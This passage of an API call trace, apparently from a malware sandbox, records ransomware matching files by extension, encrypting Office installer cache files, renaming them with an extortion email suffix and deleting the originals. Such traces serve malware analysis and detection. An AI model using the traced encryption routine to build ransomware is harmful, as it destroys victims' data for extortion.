	[0094.590] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0094.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.590] lstrlenW (lpString=".1cd") returned 4
	[0094.590] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0094.590] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74
	[0094.590] lstrlenW (lpString=".jpg") returned 4
	[0094.590] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0094.590] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0094.590] lstrlenW (lpString="Proof.msi") returned 9
	[0094.590] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0094.590] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=875520) returned 1
	[0094.590] CloseHandle (hObject=0x194) returned 1
	[0094.590] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020
	[0094.591] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0094.591] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0094.591] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.591] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0094.591] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c
	[0095.679] GetLastError () returned 0x0
	[0095.679] ReadFile (in: hFile=0x194, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x390fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x390fed4*=0xd5c00, lpOverlapped=0x0) returned 1
	[0095.727] WriteFile (in: hFile=0x17c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x390fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fc9c*=0xd5c10, lpOverlapped=0x0) returned 1
	[0096.033] ReadFile (in: hFile=0x194, lpBuffer=0x3d80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x390fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesRead=0x390fed4*=0x0, lpOverlapped=0x0) returned 1
	[0096.033] WriteFile (in: hFile=0x17c, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x390fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0096.034] SetEndOfFile (hFile=0x17c) returned 1
	[0096.034] CloseHandle (hObject=0x17c) returned 1
	[0096.041] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0096.041] SetEndOfFile (hFile=0x194) returned 1
	[0096.049] CloseHandle (hObject=0x194) returned 1
	[0096.049] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0096.049] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1
	[0096.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.050] lstrlenW (lpString=".doc") returned 4
	[0096.050] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0096.050] lstrlenW (lpString=".docx") returned 5
	[0096.050] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0096.050] lstrlenW (lpString=".pdf") returned 4
	[0096.050] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0096.050] lstrlenW (lpString=".xls") returned 4
	[0096.050] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0096.050] lstrlenW (lpString=".xlsx") returned 5
	[0096.050] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0096.050] lstrlenW (lpString=".ppt") returned 4
	[0096.050] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0096.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.050] lstrlenW (lpString=".zip") returned 4
	[0096.050] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0096.050] lstrlenW (lpString=".rar") returned 4
	[0096.050] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0096.050] lstrlenW (lpString=".bz2") returned 4
	[0096.050] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0096.050] lstrlenW (lpString=".7z") returned 3
	[0096.050] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0096.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.050] lstrlenW (lpString=".dbf") returned 4
	[0096.050] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0096.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.050] lstrlenW (lpString=".1cd") returned 4
	[0096.050] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0096.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.051] lstrlenW (lpString=".jpg") returned 4
	[0096.051] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0096.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.051] lstrlenW (lpString=".doc") returned 4
	[0096.051] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0096.051] lstrlenW (lpString=".docx") returned 5
	[0096.051] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1
	[0096.051] lstrlenW (lpString=".pdf") returned 4
	[0096.051] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0096.051] lstrlenW (lpString=".xls") returned 4
	[0096.051] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0096.051] lstrlenW (lpString=".xlsx") returned 5
	[0096.051] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1
	[0096.051] lstrlenW (lpString=".ppt") returned 4
	[0096.051] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0096.051] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.051] lstrlenW (lpString=".zip") returned 4
	[0096.051] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0096.051] lstrlenW (lpString=".rar") returned 4
	[0096.051] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0096.051] lstrlenW (lpString=".bz2") returned 4
	[0096.051] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0096.051] lstrlenW (lpString=".7z") returned 3
	[0096.051] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0096.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.052] lstrlenW (lpString=".dbf") returned 4
	[0096.052] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0096.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.052] lstrlenW (lpString=".1cd") returned 4
	[0096.052] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0096.052] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81
	[0096.052] lstrlenW (lpString=".jpg") returned 4
	[0096.052] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0096.052] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0096.052] lstrlenW (lpString="Proof.cab") returned 9
	[0096.052] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0096.054] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=21064532) returned 1
	[0096.054] CloseHandle (hObject=0x194) returned 1
	[0096.054] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020
	[0096.054] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0096.054] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0096.055] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0096.055] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0096.055] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0096.055] ReadFile (in: hFile=0x194, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0096.430] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0096.430] ReadFile (in: hFile=0x194, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0096.461] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.461] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0096.461] ReadFile (in: hFile=0x194, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0096.526] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0096.526] WriteFile (in: hFile=0x194, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0096.539] SetEndOfFile (hFile=0x194) returned 1
	[0096.651] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f602b8
	[0096.661] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0096.662] WriteFile (in: hFile=0x194, lpBuffer=0x3f602b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b8*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0096.663] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0096.663] WriteFile (in: hFile=0x194, lpBuffer=0x3f602b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b8*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0096.664] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0096.664] WriteFile (in: hFile=0x194, lpBuffer=0x3f602b8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f602b8*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0096.667] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f602b8 | out: hHeap=0x4a0000) returned 1
	[0096.668] CloseHandle (hObject=0x194) returned 1
	[0099.029] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0099.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.030] lstrlenW (lpString=".doc") returned 4
	[0099.030] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.030] lstrlenW (lpString=".docx") returned 5
	[0099.030] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0099.030] lstrlenW (lpString=".pdf") returned 4
	[0099.030] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.030] lstrlenW (lpString=".xls") returned 4
	[0099.030] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.030] lstrlenW (lpString=".xlsx") returned 5
	[0099.030] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0099.030] lstrlenW (lpString=".ppt") returned 4
	[0099.030] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.030] lstrlenW (lpString=".zip") returned 4
	[0099.030] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.030] lstrlenW (lpString=".rar") returned 4
	[0099.030] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.030] lstrlenW (lpString=".bz2") returned 4
	[0099.030] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.030] lstrlenW (lpString=".7z") returned 3
	[0099.030] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.030] lstrlenW (lpString=".dbf") returned 4
	[0099.031] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.031] lstrlenW (lpString=".1cd") returned 4
	[0099.031] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.031] lstrlenW (lpString=".jpg") returned 4
	[0099.031] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.031] lstrlenW (lpString=".doc") returned 4
	[0099.031] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0099.031] lstrlenW (lpString=".docx") returned 5
	[0099.031] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0099.031] lstrlenW (lpString=".pdf") returned 4
	[0099.031] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0099.031] lstrlenW (lpString=".xls") returned 4
	[0099.031] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0099.031] lstrlenW (lpString=".xlsx") returned 5
	[0099.031] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0099.031] lstrlenW (lpString=".ppt") returned 4
	[0099.031] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0099.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.031] lstrlenW (lpString=".zip") returned 4
	[0099.031] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0099.031] lstrlenW (lpString=".rar") returned 4
	[0099.032] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0099.032] lstrlenW (lpString=".bz2") returned 4
	[0099.032] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0099.032] lstrlenW (lpString=".7z") returned 3
	[0099.032] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0099.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.032] lstrlenW (lpString=".dbf") returned 4
	[0099.032] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0099.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.032] lstrlenW (lpString=".1cd") returned 4
	[0099.032] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0099.032] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0099.032] lstrlenW (lpString=".jpg") returned 4
	[0099.034] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0099.034] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0099.034] lstrlenW (lpString="VisioLR.cab") returned 11
	[0099.034] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0099.042] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=50823389) returned 1
	[0099.042] CloseHandle (hObject=0x194) returned 1
	[0099.042] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020
	[0099.042] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0099.042] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0099.043] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194
	[0099.043] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0099.043] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.043] ReadFile (in: hFile=0x194, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.136] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.136] ReadFile (in: hFile=0x194, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.160] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.160] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0099.160] ReadFile (in: hFile=0x194, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0099.201] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0099.201] WriteFile (in: hFile=0x194, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc0102, lpOverlapped=0x0) returned 1
	[0099.393] SetEndOfFile (hFile=0x194) returned 1
	[0099.393] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0099.397] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.397] WriteFile (in: hFile=0x194, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.397] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0099.398] WriteFile (in: hFile=0x194, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0099.398] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
